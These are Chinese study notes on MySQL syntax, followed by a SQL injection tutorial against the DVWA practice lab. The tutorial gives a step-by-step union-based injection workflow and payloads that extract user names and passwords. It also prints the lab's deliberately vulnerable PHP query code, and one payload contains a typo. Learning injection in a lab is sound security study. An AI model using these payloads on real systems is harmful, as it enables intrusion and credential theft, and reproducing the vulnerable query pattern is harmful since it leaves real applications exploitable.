基本操作:
show databases;显示所有数据库
use db_name;选择某个数据库
show tables;显示当前数据库的所有表
desc 表名;展示字段信息
select 字段名字 from 表名(数据库.表名)
启动数据库:
mysql -h主机名 -u用户名 -p
增
数据库层面:
创建数据库:
create database db_name [charset]
数据表层面:
创建数据表:
create table
table_name
(字段1的名字,字段1的类型 [字段的属性])
(column1 type1,column2 type2…)[charset]
字段类型:int,double,varchar(),cahr(),text
添加字段:
alter table table_name add column_name column_type
数据层面:
插入数据:
insert into table_name
(column1,column2)
values
(value1,value2);
删
数据库层面:
删除数据库:
drop database db_name;
数据表层面:
删除数据表:
drop table table_name;
数据层面:
删除数据:
delete from table_name where 条件;
改
数据库层面:
alter database 数据名字 charset 新的编码规则
数据表层面:
修改数据表的名字:
alter table table_name rename new_table_name;
修改字段名字:
alter table table_name change old_column_name new_column_name column_type
数据层面:
更改数据内容:
update table_name set column1 = value1,column2 =value2…where 条件;
查
数据库层面:
show databases;
数据表层面:
show tables;
数据层面;
select 内容
[from]
[where]
[group by]
[having]
[order by]
[limit]
(1)内容为表达式或者固定的数据;
select 1;
(2)as
select 1 as one;
(3)from
从哪里查就from哪里
(4)distinct
select distinct 字段1,字段2… from 表
where:
where后接条件
算数运算符
比较运算符
逻辑运算符
模糊查找运算符:like
‘_’:代表一次任意字符
‘%’:代表0次或者n次任意字符
正则匹配运算符:regexp
函数
group by:
以所给字段进行分组
group by 字段1,字段2…
select 聚合函数 group by 字段;
avg()
max()
min()
sum()
having:
同where,但仅用于对group by分组的结果进行筛选
order by:
对前面的结果排序
order by 字段1 [desc], …
union联合查询:
是一种结果纵向堆叠的查询
information_schema:库名
table_name:表名
column_name:字段名
简单流程
普通SQL注入流程无waf
后端语句为
select ****** from 一张库里的表 where id=''
step1 测试字段数量 order by
step2 爆库名字
select database()
show databases;
step3 爆表名字
select table_name from information_schema.tables where table_schema=""
step4 爆字段信息
select column_name from information_schema.columns where table_name=""
step5 查询敏感信息
select 字段 from 表
练习
思路:使用union联合查询来查别的表
语句:0’ order by 3 #有两个字段
语句:0‘ union select 1,database() #
获取数据库的名字为dvwa
语句:0‘ union select 1,table_name from information_schema.table where table_schema=“dvwa” #
获得获得两张表,users,firstname
语句:0‘ union select 1,column_name from information_schema.columns where table_name=“users” #
语句:0’ union select user,password from dvwa.users #
源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>